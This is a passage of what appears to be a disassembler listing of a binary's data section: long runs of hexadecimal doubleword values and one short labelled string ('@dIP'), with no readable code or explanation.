		dd 55844038h, 485CBD00h, 1A9BAD34h, 28A2E814h, 4F82D1Bh
		dd 6399421Fh, 0BA9CCA90h, 57A5ABC0h, 7100D44Dh,	0DAD65C4Ah
		dd 18BFE85h, 8A2C37A1h,	31482D79h, 0F23DCD34h, 0C2A1006Bh
		dd 6D289C49h, 98BDA47Eh, 5396AE80h, 0E0A2E603h,	0A4A8392Dh
		dd 0A18A30F4h, 37881128h, 0C04C4B78h, 36C9420h,	3C2BCABEh
		dd 4242CF9Fh, 584655BDh, 5CCC021Ah, 0D71CC591h,	40387762h
		dd 5461E30h, 415D8DA5h,	0AA9084B5h, 8B24988Ah, 9D71358h
		dd 875519C8h, 0C2C25E68h, 8AD06192h, 0ADE059E5h, 401C05CDh
		dd 803D77F1h, 39508EB8h, 647AB003h, 0A679B62Ah,	258CA010h
		dd 1CE010Dh, 199CA848h,	21706042h, 7F68436Eh, 17EF109h
		dd 5095ACA0h, 617A1098h, 0AC901EB4h, 3BB450D4h,	0A6D78C91h
		dd 1DF14095h, 0C3018C5h, 0B3302BCDh, 0D4B42AF1h, 0E2B65F2Dh
		dd 0A8A06294h, 0D0675577h, 51F8EADFh, 0E1D0211Bh, 2D47664h
		dd 0B52F365Bh, 7860CC8Eh, 124503E7h, 4865C9B2h,	0B84E77DAh
		dd 0E7B07195h, 0A8D78096h, 0A7F8509Bh, 110FE890h, 892EC8F1h
		dd 0A48157B1h, 2A2BC9A9h, 0D12770A7h, 81FD0CB5h, 0C7B46877h
		dd 0A9F42052h, 0B43E1E2Ch, 0E4702D16h, 99B11864h, 21A960Ch
		dd 13347998h, 0D22DDCC1h, 1202D840h, 372CB17Ch,	749C440h
		dd 9CC651Ch, 0C4B65848h, 428CE452h, 0C0B23750h,	0A926930Bh
		dd 0B920817Ah, 0A8D03D9Bh, 68026FC9h, 0B7D71B87h, 0C8424591h
		dd 7752B620h, 3C1FD22Ch, 34B48C00h, 9878B043h, 96992E34h
		dd 0C7F10040h, 0A4A14818h, 5B3881F9h, 0C9AC2692h, 50201849h
		dd 6FEC5F53h, 48C0AE0Ch, 3BA2E755h, 845E475Bh, 132CA402h
		dd 7C9E1C11h, 49781821h, 2C8B0A1h, 2DA4D443h, 689DA511h
		dd 0AA3E57E1h, 582DEC60h, 3B17D8B5h, 0A86447C1h, 0B43EB192h
		dd 0B318456Eh, 8D5044F8h, 0C8614100h, 8B474D8Eh, 1220B896h
		dd 0EB19959Fh, 2F2DF004h, 91244F0h, 111B90A6h, 0D49E3CE4h
		dd 0C9CFF760h, 0A75E0051h, 0B62D19A4h, 4078259Ch, 12567A00h
		dd 3D21908Ch, 65C900ADh, 6475C132h, 9CA08B5Eh, 0A318F12Dh
		dd 3E213C1Ch, 2A790E99h, 19849A14h, 0B450F446h,	11C1C896h
		dd 68803472h, 0B06644D7h, 3E5D219Ch, 0E83442E8h, 17EC96AEh
		dd 0B50DD7Ah, 18AEB068h, 718A5F46h, 0FF217690h,	0D7F003A5h
		dd 30FFDED1h, 462A78D5h, 538D8B12h, 0B5D70020h,	47510EC6h
		dd 3A8AC7B0h, 5A641FC8h, 0E0D190A9h, 413B6D81h,	0F87D9CB4h
		dd 10178E89h, 21C0ABC7h, 0DFA2A52Dh, 27900DE8h,	74607C28h
		dd 1C2AA924h, 4477DC20h, 20189533h, 8B43D8C9h, 132474C8h
		dd 851E9BA8h, 84E0DCB8h, 0D147C4A8h, 138CB552h,	0F898647Fh
		dd 0A73C0626h, 0D86165CAh, 0C28A88C1h, 8DD02D18h, 7A20CC47h
		dd 8E02AD40h, 0C7B6453Ah
		dd 0C304631Ch, 0A885C454h, 30ED3C00h, 1A71885h,	9B12509Ch
		dd 0E13A6479h, 7C37EDB4h, 285ECCDCh, 13643791h,	370AD8E9h
		dd 0F4A958D7h, 6BF26089h, 2A300B60h, 0D446ED2Ch, 7D24A1FEh
		dd 0C8144418h, 6499D2F4h, 3D09F03Dh, 30E1B53Bh,	3A56E0B1h
		dd 33798B3Eh, 0A245E812h, 11F0829Ah, 0B417F5B4h, 0B40069FDh
		dd 0B04451B4h, 4B03DC98h, 401E95CEh, 9FA1E811h,	5B61035Dh
		dd 0E2B40FE8h, 6357EBF0h, 0F8901300h, 0B9891847h, 2BF90CDAh
		dd 6E4EFF53h, 0FB4D577Ah, 9FF200A8h, 0A2884FC7h, 911D1940h
		dd 81FE08AAh, 0C4D7BB21h, 79F012FFh, 9C380007h,	17A49B6h
		dd 58C027F7h, 0E8082E84h, 0EFF530EAh, 60A6F180h, 9268541Fh
		dd 161AED9Fh, 69E740D0h, 0B0B0C08Ch, 1FEA1C0Ah,	2BAC6400h
		dd 5D784C9Fh, 20436081h, 0C224506Dh, 0C420D753h, 1C62F6AFh
		dd 0A02087C2h, 165DEAB4h, 0C8E85E4Bh, 9DDE11h, 27C3D184h
		dd 0CBE9A50h, 0D672608Ah, 21C30D08h, 0B127AA38h, 0B0DF6349h
		dd 6CB5529Fh, 0A0E0E632h, 77E160F1h, 94BD5D18h,	0A1A3DB1h
		dd 0D46B017Bh, 0EA2D838Ch, 301554DEh, 4EC8606h,	74739805h
		dd 5EB881BEh, 37A8444Fh, 54DF001Ch, 8921069h, 49E18D00h
		dd 0AB5343FEh, 0A6C30AE7h, 310997Bh, 4CEE011h, 0F7324003h
		dd 8816BFh, 3A4C6471h, 0F52AF9ABh, 33016A19h, 21976208h
		dd 0B7110023h, 0CF118250h, 9B11B07h, 313956E2h,	0A1185D1Ch
		dd 8855C708h, 0D9D57092h, 0BEC9C400h, 0BDD2413Ch, 5F6B0A21h
		dd 80D03228h, 711EE9AEh, 22007DD0h, 0F0485A2Ah,	29F52FA9h
		dd 3B4EB99h, 0FC7278CEh, 4294590Eh, 7D13C987h, 37B18C82h
		dd 30EEA886h, 0A1C87857h, 881A893Dh, 77FFE073h,	98C136CFh
		dd 0E4A1989h, 6029A048h, 165FF997h, 2F00B4E5h, 0A08FBCECh
		dd 2B47C8h, 75E4BBF8h, 9304179Ch, 0F7332E0Ah, 4BC0E4C0h
		dd 46F9AC3Ah, 46104042h, 0F33A6300h, 481986EAh,	58050177h
		dd 5F7804B9h, 12989D97h, 0B4287992h, 0B6FC8028h, 28F8D997h
		dd 0EF3324B0h, 1122F1D0h, 0A60012F8h, 0D0FAA77Dh, 86420F3Eh
		dd 8B15B94Fh, 0A24E00A1h, 10822802h, 60009AFBh,	6986B14Ah
		dd 4AF9C39h, 6EB2539Dh,	0AC349856h, 8862C708h, 40FDC47Ah
		dd 39C504D0h, 0DE3E0F26h, 830156A0h, 0F0BA9D58h, 114E918h
		dd 1C4F427h, 3C0E8424h,	0B1B0F6FBh, 0F9C5AFE6h,	0B1DD6518h
		dd 13EAEED8h, 580181h, 730A564h, 7354DB78h, 971979A0h
		dd 7038AA61h, 37380826h, 0E0322946h, 1C18B079h,	3BE0744Ch
		dd 0C3378125h, 0FA29EAAFh, 0B40B8822h, 3C4EEh, 0DCA246C5h
		dd 0B9046C6Ch, 0CE9A4A27h, 32200E62h, 905627C0h, 0F3E0918Ch
		dd 3C3F0FF2h, 40CE8578h, 67849027h, 4424E529h, 0B822008Dh
		dd 0FD71B5C4h, 2164EC16h, 6CF8C308h, 0B84AA700h, 0C0B75B79h
		dd 0E50C24FFh, 6B31DD00h, 76501A8Eh, 443B00B4h,	481B1FD8h
		dd 0E83B91A3h, 0CA8C549Eh, 0ED61AA00h, 0AE0DD215h, 0C2A70025h
		dd 1710A6CCh, 5D7AF24Ah, 0BCB88E68h, 0B190BE3Ch, 0D6E95CB4h
		dd 57A480DAh, 60DD8DA0h, 14952873h, 0E500D856h,	0DFEFDC06h
		dd 2417F5A3h, 824802B8h, 8A4997F9h, 0F8F0EE5Fh,	5B9F3077h
		dd 595D1718h, 4DDD963Eh, 6AE9082Ch, 98FE2506h, 0B4B0BF60h
		dd 30F7740h, 0E189A161h, 284B167Eh, 0FBC124FCh,	1F6B1h
		dd 78547426h, 95A50CCCh, 0B8B84263h, 0AC6D3Bh, 8F66C3B4h
		dd 9209E2B5h, 27137940h, 454C876h, 15747BC1h, 3EAC8424h
		dd 0B900EB3Bh, 81415C96h, 0F7233402h, 3A5603C5h, 8E9DF9A1h
		dd 4E4D1F48h, 48773841h, 0FED03122h, 5681E0B0h,	2609A0D9h
		dd 18D5239Ah, 49951C38h, 0B3001C6Ah, 4BCEBDEEh,	9CA0ADD4h
		dd 0FF800916h, 30E5208Fh, 385CE08Ch, 1DD2314h, 9A4D27BAh
		dd 880A18D6h, 2701C131h, 0A2820FE5h, 0FC305333h, 1C00F152h
		dd 202EFEBCh, 0F908D4CAh, 0FD42028Bh, 4CE0103Fh, 60A419A0h
		dd 9E9080DDh, 4F27B8C0h, 8943A69Ah, 33000F22h, 518727BFh
		dd 74B864Eh, 0D4421C03h, 8DCDAA6h, 9289E561h, 0D018315Dh
		dd 40CD2C30h, 50539CBh,	1876CE55h, 482E5024h, 0B2001523h
		dd 2F81084Bh, 0DF9000FEh, 3C0BA529h, 7493B6EBh,	0C1119024h
		dd 0A53A4A80h, 448C5AF9h, 623D4196h, 7431C3Ah, 1825B152h
		dd 2F276400h, 2065FC14h, 84808CBDh, 913795F9h, 80F6107Fh
		dd 0CD3C0731h, 0AE6C7B9Eh, 0BBA4A161h, 0E9984130h, 6EFC3007h
		dd 0E2415E0h, 348F7CE4h, 304A4BB3h, 8C7A04Ch, 41DA8856h
		dd 6F0362h, 8AC4D8BCh, 0CADF6D00h, 0F9BF69E8h, 46290076h
		dd 3B65BD1Ch, 92586412h, 27282050h, 0A456AC4Bh,	0DC1D3440h
		dd 0A6C4A113h, 0B60AD023h, 0A8D039EAh, 0FB3B15D4h, 0AA24C0F3h
		dd 69EE1E74h, 80AB11B0h, 0F99F3A50h, 8C448C4Ah,	3A680047h
		dd 0CA4B58BCh, 9490F9ABh, 23803842h, 0B3698D02h, 0B701749Ah
		dd 78E7406Dh, 2026266Ch, 0C8505C42h, 99CF401Ch,	81887D48h
		dd 0CC19E2B4h, 0D8108022h, 1BDCB9Dh, 8AAE9A58h,	5EC08022h
		dd 257327C4h, 0E6786204h, 5CC07E44h, 10BAAE45h,	26E1D432h
		dd 7A6558B3h, 211DFD0Fh, 0F78580E7h, 41010830h,	0EE302039h
		dd 0C57F840h, 72AD8DD8h, 50C9F38h, 2880DFA0h, 791B1259h
		dd 34538Ch, 68EF1308h, 4C91EE16h, 31FAE907h, 95C8076Bh
		dd 487B86h, 70E706CDh, 164B47B1h, 1183BA0Ah, 82C9B04Fh
		dd 25669D24h, 0D3FA00B6h, 89659A25h, 0ED188560h, 49B04880h
		dd 0DACAD84Bh, 27B7C0A0h, 9E269A4Ch, 34586089h,	8B2703CEh
		dd 7515CD31h, 0D0468CC2h, 1F765F0Bh, 9C441073h,	8F39C026h
		dd 99E37DC4h, 0C6AECE00h, 0FAAFE7CAh, 0A020E1A3h, 0E9880B4Ch
		dd 0BCA4F13Eh, 84C4829Ch, 0C213CD00h, 91B05B07h, 5814214Ch
		dd 0A07E4780h, 16884122h, 168712A8h, 23A82F24h,	5128008Fh
		dd 0C07DD758h, 108B960Ch, 54A2187h, 0DDD45C0Fh,	0AC2C988Fh
		dd 0C8B8A549h, 9C0269E9h, 0EC08EEE1h, 262F108h,	67DF56Eh
		dd 0B1118080h, 69C07C15h, 0A6388D5Fh, 0FB53001Ah, 0AA0A175h
		dd 0B8009D2Fh, 1ED3F99h, 3CC53423h, 1F8C0BFh, 329026D8h
		dd 205CACAEh, 9F069CCCh, 4FC1E14Ah, 0D0A93D08h,	3C2ADF00h
		dd 6FC99BAAh, 8CD72900h, 0C182FD2h, 8F000E0h, 60D85843h
		dd 19300490h, 555760C6h, 7BA00248h, 84364BE3h, 10AAA260h
		dd 0C90070DEh, 2F8EA1D5h, 38D9009Ah, 1C22ABC3h,	40C0DE59h
		dd 48CC61EAh, 35BF07FCh, 45117906h, 5B5C3070h, 0A940E062h
		dd 6A250361h, 0DD34F082h, 0B10C3A88h, 0F5C92301h, 897199B7h
		dd 387093h, 0F1946668h,	30184A54h, 7FF19DC2h, 152ECF5h
		dd 0A5C50638h, 0D1C4EE20h, 602180A4h, 3D449DFDh, 0AEC103EDh
		dd 0C7637A6h, 92742BF8h, 0B4F07B60h, 0C3E1D12Ch, 167DC5C8h
		dd 227C1A7Ch, 0C9E14160h, 0C0857C65h, 0E1964918h, 0A0C08E31h
		dd 0BFE92B03h, 0C24A1FC4h, 1C26467Ah, 0B208F05Fh, 1FAA18B1h
		dd 1A080CC8h, 0DF83818h, 6640AB60h, 0CF42CC1Eh,	509FD918h
		dd 0FB077B91h, 6943E2FFh, 2B388A10h, 0EAFD29D8h, 0D4811458h
		dd 20A429A3h, 653DB997h, 83681083h, 8108188Ah, 18F65C1h
		dd 0D6CEEE61h, 479FF0B7h, 2C9107F8h, 7600B211h,	0D61410E6h
		dd 973D251Fh, 3B673A49h, 0CC6F0A39h, 143F9061h,	89C7344h
		dd 6CBB51Ch, 51A688FAh,	6B008FE2h, 0CD3A33FDh, 708469ACh
		dd 24233CF7h, 0EC30D130h, 4007B267h, 9F47E1E0h,	48ED5B81h
		dd 259DEE0h, 5479A11Fh
		dd 0AC90CCB2h, 404416E8h, 71E110C2h, 0F658008Bh, 230737E4h
		dd 0F4F9361Ch, 5C184860h, 9FD84BD7h, 0D13A002Ah, 861AC561h
		dd 2266CD9Bh, 213008h, 3FD131EFh, 75F74F0Dh, 29C8D300h
		dd 0B50C4ED8h, 0A7C60908h, 0A00247FBh, 0B4004B50h, 0C3F935CCh
		dd 10EF5BD1h, 3EBF5CA0h, 9DC35Ch, 5EF0778Bh, 6251991Eh
		dd 36E1B09Ah, 705D9B81h, 0A948817Ah, 4131356Bh,	28568AF4h
		dd 83A499DCh, 0A61DEB0h, 97A27DC9h, 8EB401BCh, 201138F3h
		dd 4A80C2ECh, 0F9D0A15h, 702058FBh, 28C7BB1h, 0CB7F204Ch
		dd 0C8843FB9h, 0B3F880DCh, 3D54D84Ah, 2200BC8Ch, 8A99CE18h
		dd 3618E57h, 4B7728A6h,	0BA0690Eh, 0D704F803h, 0D8E967E3h
		dd 226C8Ch, 0A1E28929h,	0EBBBF7BCh, 0A9992861h,	9CD9C1B0h
		dd 28F66024h, 0EC4D3Bh,	4BA6C339h, 0CCC94F20h, 0D3B1330Ch
		dd 9072877h, 0DF6209AAh, 53C12CA0h, 6701F4DEh, 602E7C35h
		dd 0F3D17B65h, 5C232180h, 0B0A226DEh, 0AC57E0C0h, 1267ED1Ch
		dd 412FFC1Eh, 482E7A24h, 9060209Fh, 1678988h, 5B23368Bh
		dd 982AE50Eh, 69219809h, 228B1E0Fh, 0D4F501AFh,	20543812h
		dd 0CA302ED0h, 0EC97C9B7h, 0D4DE719Eh, 56234890h, 63D13C01h
		dd 33180AC5h, 0D1D4F189h, 39340035h, 0C37B72F0h, 5E60D703h
		dd 0B84C1A21h, 0EEFC2656h, 15710096h, 0C00F5350h, 0BC79E800h
		dd 0CDAD257Dh, 76540283h, 6757D95Ch, 4410B04Ah,	6611D139h
		dd 5F8822C5h, 8C000A92h, 349D7948h, 96C891B7h, 5FC71266h
		dd 0A4E6CF8h, 91D4E62Bh, 0DE4E800Ch, 433D67F9h,	1F5227Bh
		dd 9EDE5724h, 0DE181667h, 91995C68h, 0A1339C40h, 6818FDD0h
		dd 23398B08h, 409BC473h, 0F08B106Ah, 65501856h,	25D769EDh
		dd 6FDB402Ch, 31E0630h,	0D1F42476h, 0CE6D0894h,	0BEAE570Fh
		dd 0D85E9B07h, 7CE96583h, 14340041h, 0EDE05741h, 2A02592Bh
		dd 0A4E32E47h, 0C3CC901Ch, 0B28E246Dh, 1BEC03ECh, 48375FEFh
		dd 59A1214Dh, 3047F1h, 30B045B8h, 58880D20h, 0E2C7FEDBh
		dd 20045110h, 4926EAF0h, 3804A066h, 18A19B9h, 2B63EE5Eh
		dd 61EC9204h, 6C2FD22Eh, 1F008E23h, 656EF467h, 0A18100EAh
		dd 0C998B7A9h, 70C17D71h, 5F3826A2h, 3F159116h,	94EC65h
		dd 44DBAB4Fh, 1C8AF8h, 35CD2F36h, 334C0183h, 95897318h
		dd 0D4AB39h, 60C8287Bh,	0EB48DFCAh, 0C6015178h,	0F6DBEDA6h
		dd 0BCC43AA3h, 0EA2E05DEh, 42311625h, 8E55C180h, 180C4882h
		dd 0E940D730h, 0F895D900h, 7AE68F01h, 5FB479B7h, 2837C70h
		dd 0B9042A3Bh, 0B093D91Ah, 0CDB120A4h, 73A3819Dh, 975A006Ch
		dd 45BCC315h, 662C0409h, 8C477F4Eh, 40F44D50h, 3E8C3A00h
		dd 62312FE9h, 83763E1h,	2000F354h, 168C4221h, 3BA06803h
		dd 4E39B5D8h, 0BA6A638Eh, 50C049A0h, 9800BB69h,	0D933E2CAh
		dd 6E89609Ch, 7BA04003h, 0C924802Dh, 618A8700h,	810AFA3Eh
		dd 94B900BCh, 3F9D9C15h, 6506A2E1h, 4EF70864h, 0DA6A0C38h
		dd 0E6606146h, 0CA0AA602h, 0FED5FAh, 89025EE7h,	1CF48F0Fh
		dd 40432D4Ch, 86B800F7h, 0EF15B018h, 5133D724h,	7209E7h
		dd 0B0102621h, 7E69465Ch, 486FDA30h, 6615FAC6h,	980160E9h
		dd 6802351Dh, 86E73B01h, 28B363FEh, 48BCD5E8h, 88728001h
		dd 0A21F114Ah, 70ACAD00h, 0B80E2DD1h, 0C90C00BDh, 6358DF5h
		dd 0CE2A1DF3h, 4002B05Fh, 0E93D8C3Bh, 56C0B137h, 8C432010h
		dd 8F38DB3Ah, 808796E7h, 76ED3C1Eh, 0F4F2A008h,	10350282h
		dd 5EEEBAF0h, 203F9886h, 33552B20h, 83F96266h, 0AF855CF8h
		dd 30F2E95Ch, 461DD096h, 0A861B47h, 1BB81075h, 84A4F252h
		dd 6B66E219h, 0EEC4ED58h, 9045h, 7C699170h, 0E04E4D09h
		dd 0F006B1C1h, 0E89D65E3h, 0CD7831E5h, 0FCD1D8EAh, 4363BC01h
		dd 0F9ADF278h, 76E96086h, 8F0CC93Bh, 18FB91E2h,	0D00B0023h
		dd 78B4B137h, 91D90612h, 7CD740D8h, 68B56CA8h, 1F242F20h
		dd 0C31B3794h, 4C8BC880h, 382D8066h, 0C63D9F00h, 0CEF74451h
		dd 5508CC21h, 30010F21h, 8A2DBD9Fh, 16A2FCD5h, 55310098h
		dd 50631134h, 0E20CBEC4h, 394B6E6Bh, 3DB30CBFh,	0EC1040C3h
		dd 3927CC35h, 0C0454808h, 0EF17B01Ah, 91D6F421h, 1220007Ah
		dd 191DE0B0h, 9122000Fh, 0EECED026h, 4950F2E5h,	0C2019CB8h
		dd 50B7FC93h, 0D8427BDAh, 80ED0494h, 0E945A4A0h, 1A7EE70Ch
		dd 2AEE186Eh, 5CCBBCEh,	67837202h, 342420CCh, 0C8A03C7Ch
		dd 0AC91E12Dh, 82E0EE1Eh, 9F8083A4h, 438AE94Bh,	5825F980h
		dd 76ECE03Eh, 0A89D713Bh, 30CAC422h, 39C0BC13h,	46C63C9Fh
		dd 10887759h, 119F0031h, 0C3B5CDC5h, 4730B33Eh,	6E69482Ah
		dd 4468524Eh, 13048320h, 11F80F76h, 0A232C482h,	0C35E49FCh
		dd 753010CCh, 0D8840235h, 8A53AED5h, 370454A0h,	6000F088h
		dd 19A516D3h, 820C6A7Dh, 8117264h, 3221C0FFh, 8638A51Eh
		dd 4392FC00h, 0B97C1CC3h, 40290065h, 0DDCCC2E7h, 0D214EC7Bh
		dd 6B4613Ch, 5C4AD5EDh,	0E2E00970h, 9C00416Ah, 40B1E5EBh
		dd 0DAF4BD7Ch, 186D2E31h, 988490D9h, 43EDE169h,	0EAF2C613h
		dd 6BC883E3h, 0F3191468h, 150680EEh, 387B0BB8h,	184634A1h
		dd 1AB0041Dh, 2CD70CEFh, 0B0150023h, 0ED97A582h, 0A404384Fh
		dd 4ECE42BFh, 0CDCF1490h, 0C84800F6h, 0D7E8B59h, 0BF017988h
		dd 28276DB5h, 9430CBB6h, 3F141D9h, 4CDBDAA0h, 7290D063h
		dd 9F749093h, 0EA10C254h, 10A3DECAh, 4ED13E5Ah,	2FE05832h
		dd 8E666E10h, 716C1D29h, 1F8187Eh, 0CC8B7308h, 36C5B368h
		dd 6E490634h, 866069D6h, 415865DCh, 0FB7888CFh,	0F0D5CA01h
		dd 10BDD70h, 97325887h,	0CC6460D0h, 8402C11Eh, 3766ED57h
		dd 0C45C6150h, 99CAF860h, 86960C50h, 0EC2CEF18h, 68022493h
		dd 0C44DF5DFh, 6CA6296Ch, 0C4400388h, 0D2E216DBh, 0CA17DC2h
		dd 224D9ED5h, 0C34235Ch, 2130A513h, 0FE115C93h,	0A51B3100h
		dd 0FA5EC727h, 0BD450901h, 3E3801B9h, 92C8C6F4h, 0F68610F4h
		dd 0E22A7A79h, 0E97CC42Eh, 0BC65A624h, 0CA681040h, 2C53588Eh
		dd 1F5A23C4h, 0A7006BD1h, 5F5EF87Bh, 0FB0B0B38h, 8D133B67h
		dd 40202192h, 46870368h, 6555916h, 91F45A87h, 0B0C29E41h
		dd 3114EF13h, 0E701770h, 1238FFB0h, 405C8AC4h, 7F7778Ch
		dd 101E7CF2h, 0E482521Ah, 0C01BEE4Dh, 24AC7291h, 0B8BCB711h
		dd 64624CC0h, 4444FAD8h, 0A027FCD0h, 7DCE15B8h,	1D872EBEh
		dd 93AA01CDh, 51EE8833h, 0E473C3B0h, 15003811h,	80A2289Fh
		dd 7B745F59h, 3C922848h, 5EB0809Ch, 0E6EF8097h,	685C9358h
		dd 0DEE8F0h, 0E27636C3h, 14BFF284h, 0E37386FAh,	29E88933h
		dd 0B05C8045h, 0FA480123h, 919EB6Bh, 0A0D09E12h, 0D9137480h
		dd 49F9E1B5h, 31232CBCh, 1BA51800h, 8681F96Ah, 0D340444h
		dd 0CD59A520h, 9568C032h, 127E1112h, 500DB40Eh,	77C5E007h
		dd 0A4A909CEh, 0D81F0C85h, 8C083D78h, 0C427E937h, 4522405Ch
		dd 997D8Ch, 2602036Dh, 135895FBh, 82CAC815h, 0E73C00E0h
		dd 0EDE34EB3h, 44C4BAD3h, 0EF009507h, 0C2A737FEh, 3F2CDA1h
		dd 7D4B279Ah, 0D5A80623h, 0B1061967h, 5016BA70h, 0F5660150h
		dd 3E1ACCE9h, 271007D4h, 140F3656h, 0E41D8D68h,	5803606Bh
		dd 10507E52h, 0CB5D6920h, 14C0003Ch, 3A5EDF3Eh,	5231C081h
		dd 1E1C4353h, 780820A7h, 1198C8D7h, 8C829E22h, 310FE93Ah
		dd 46251052h, 5DCD008Ch, 2A5C4D6h, 960BD35Ah, 0AB2276A3h
		dd 0F3A88010h, 0D462EA48h
		dd 0BA105039h, 1DE5006Eh, 0D8879784h, 988259B5h, 90D2167Eh
		dd 81542436h, 6258E650h, 0F76D1768h, 0E404E852h, 10067227h
		dd 7348710Bh, 0FBE1100Ch, 2B36706h, 0B223986Ch,	58E2695h
		dd 788DF697h, 46420640h, 5CFDB811h, 8C04D610h, 440788B6h
		dd 0C4E731A6h, 0C75C30BDh, 371DE540h, 0E0608FD9h, 4050B8E0h
		dd 46DBDF03h, 0E2B46653h, 4DA4505Ah, 0C8483C67h, 0D6252A22h
		dd 8E6C0978h, 4320A024h, 6476E5A1h, 95F22032h, 30B00844h
		dd 1AA517C0h, 38015C6Ah, 0A51F35E0h, 2FC55200h,	573B9704h
		dd 134002A9h, 36EDEC82h, 30122CE9h, 53048128h, 7EBDE58Fh
		dd 0F004E894h, 245426E2h, 0C8C53E8h, 689F1E42h,	4A40E270h
		dd 0D456FB8Bh, 0BF2F01B4h, 568EEA53h, 0A9B46099h, 34881662h
		dd 104F19CEh, 51328667h, 0ACDFC87Dh, 0B176CB0h,	3EE2EA4Eh
		dd 1E402C2Ch, 22B54B22h, 6B0374E3h, 0E5EA7764h,	80E95814h
		dd 7283C600h, 4CBD036Eh, 8936101Ch, 7A382027h, 3B30D69h
		dd 859182ACh, 59C047E0h, 9FF23322h, 18309C24h, 5097A2Ch
		dd 981C08E2h, 68206616h, 0E9B4A36h, 0AD29465Dh,	72A878A0h
		dd 0E913C990h, 0E401242Ah, 52FABA68h, 8210D862h, 0B8FC902Fh
		dd 8A008CF9h, 1C227D97h, 12459DD9h, 818276E7h, 0EEFB4EC4h
		dd 148D050h, 9F62584h, 0E47C65E0h, 0C81E607Dh, 0B67500B5h
		dd 0EF300848h, 0A906B71Bh, 0E988D8E3h, 0FE0EFE99h, 2D8200EBh
		dd 4A49543Fh, 64B9E069h, 65D1EC06h, 7B393D59h, 59DE12h
		dd 5CB2CDB0h, 3C9CC4ECh, 0A400A4A6h, 867C1716h,	0B809A56h
		dd 0E969F2C4h, 55AB9C90h, 32EB3C80h, 101804B5h,	6033A884h
		dd 101DA51Ah, 0C881E96Ah, 22368707h, 0BA6AC3A5h, 0D0905CF2h
		dd 7824142h, 187CA2A0h,	0CFE50FEFh, 3494BCFEh, 78CF8B8h
		dd 57A8E4C0h, 0E9E1F2FBh, 107CF069h, 8023CBE2h,	82305EE7h
		dd 691D1871h, 0A934A3ECh, 0A041B5B8h, 0B5075729h, 0B29C4173h
		dd 20DE24CFh, 0D0046B4h, 0CBF8368Fh, 267436Eh, 9C383227h
		dd 0B0501EE2h, 2D56D26h, 0FA227420h, 4CAAF230h,	7A84AC60h
		dd 402088F1h, 0B017058Ch, 0CE1CEF14h, 0F2500C0h, 0C6BEE9B0h
		dd 385D448Bh, 0F9F85900h, 0DEC1D54h, 0C9870022h, 0A91BE739h
		dd 1225C628h, 24188F76h, 0F4C47943h, 4013BC22h,	9CE35504h
		dd 830A8840h, 0D5D8EE01h, 6843285Ah, 0CFB91325h, 42104067h
		dd 397E4921h, 0BE66B02h, 0C11D6F61h, 15109F10h,	1018B6C4h
		dd 32B1458Ah, 0BA27517h, 0C7DCDFD7h, 874D2005h,	6C6BF197h
		dd 0CE298E4Fh, 0C5B122C8h, 0B02CCC4Bh, 300F4EF0h, 389F3D74h
		dd 3F39C623h, 35020C44h, 7F8E999Fh, 521C6007h, 0E7408043h
		dd 0E2C6C50Dh, 0CC928138h, 4884C06Eh, 0D8A09111h, 0E83F0C8h
		dd 0ED1D9D30h, 0F4285624h, 0E8A7890Ch, 776172E4h, 0BE6EF433h
		dd 160A0896h, 0B06CBCD9h, 986C48F6h, 6287DF88h,	0C4AACEEBh
		dd 0AC24A587h, 0A3AE7760h, 0C89E00E9h, 83BE9189h, 0F0906F3Ah
		dd 0A0574320h, 80069E08h, 0CF30EC10h, 0BDED915Fh, 6C2D565Eh
		dd 0B90A2048h, 0C1C46E05h, 207AECEFh, 5561BE0Ch, 2EF6B5A1h
		dd 17227422h, 7354CF50h, 99FB2503h, 0F8F21E05h,	22B5F80h
		dd 0BAE044DFh, 0DCCD10A9h, 365F0DE0h, 0D2E50FC2h, 5CC025B6h
		dd 0CADBB8B2h, 0D02C3093h, 7CD58B1Ch, 0C03C4C64h, 0B7463DA2h
		dd 0B9B10699h, 0E0CC2A62h, 23F09553h, 0B0190142h, 182CEF16h
		dd 1127887Fh, 520320C7h, 6BE35D40h, 2070916Eh, 0F88626C4h
		dd 418A44C0h, 5B21B3Eh,	56A48114h, 0DC52154Ah, 5C8208Eh
		dd 16C7F2C4h, 5412DD81h, 20CA3024h, 6918587Ah, 1531F7EDh
		dd 0BDFB26B6h, 0C1DAC470h, 395741B0h, 0E37D10BCh, 241C275Bh
		dd 0B700C211h, 0F891549Dh, 0F11AB580h, 67797E6Ch, 0C2E0270Bh
		dd 0ED348423h, 4A53DF40h, 4314D15Bh, 6CA716Eh, 0EB20B2Eh
		dd 0FBAB2080h, 0F700C094h, 4DE34EB0h, 0C0ACAAC8h, 0C4668F64h
		dd 882E6EE0h, 495476B0h, 0A0FA838Ch, 85D2EC15h
		db 0E8h, 12h, 0CEh
		db 51h
a@diap		db '@dIP',0
		dd 5E78022Ah, 52810413h, 3DF32C00h, 0A8C0EC3Ah,	0E26A3819h
		dd 0E66040B2h, 0E3081853h, 74898E62h, 0CC9FD8D8h, 0F0FE1A1Bh
		dd 4480C6A8h, 7100E77Eh, 311C0DE1h, 0EE20BA70h,	615048B8h
		dd 203D7712h, 0F261E22Ch, 56EE2084h, 38A04877h,	9A246EE9h
		dd 2E88808Ch, 86C2455h,	5A00324Eh, 228BA12Fh, 818D6266h
		dd 1CD086E6h, 88812C7Ch, 0F700FC72h, 77E92874h,	24005367h
		dd 61C9FBB5h, 9E0F28Dh,	0EB42827Dh, 794A2006h, 0E7361302h
		dd 0C4849A86h, 59A468D8h, 0AEB606D0h, 894E8E6h,	7447420h
		dd 0CDEB1044h, 536384FBh, 0D89C8413h, 9F083E10h, 7021C63Bh
		dd 9F03360Dh, 1EE4EBA2h, 69DBA6h, 1591B3F1h, 0A4A16A8Bh
		dd 1D058901h, 48CE9CB4h, 2086A448h, 3E0A6F96h, 48D09DFBh
		dd 0D438453Ah, 995DE180h, 6D03FF7Ah, 15362BBEh,	0F85E6Ah
		dd 59103FE4h, 64318811h, 203E1814h, 7E698840h, 85D0B4C2h
		dd 0E4706B46h, 38152084h, 0EC4F588h, 456853A5h,	0EFC661AAh
		dd 713CF8A9h, 0DEE52EEEh, 2C10AF50h, 0F7138A07h, 371CC483h
		dd 0FDE8530Bh, 5B202EA1h, 7E89C9C3h, 19CCDCF8h,	53004321h
		dd 7B21B7C3h, 0EA9BC4h,	8589C08Bh, 7D30205h, 0B1BD830Dh
		dd 75C00C13h, 3D12C409h, 19744127h, 389B5350h, 438615B8h
		dd 0F8D1840h, 0DB28099Dh, 5B25FFCFh, 17226258h,	0F8782008h
		dd 20C48C24h, 0E9060111h, 0B977CF13h, 27E35300h, 0CF924F3Eh
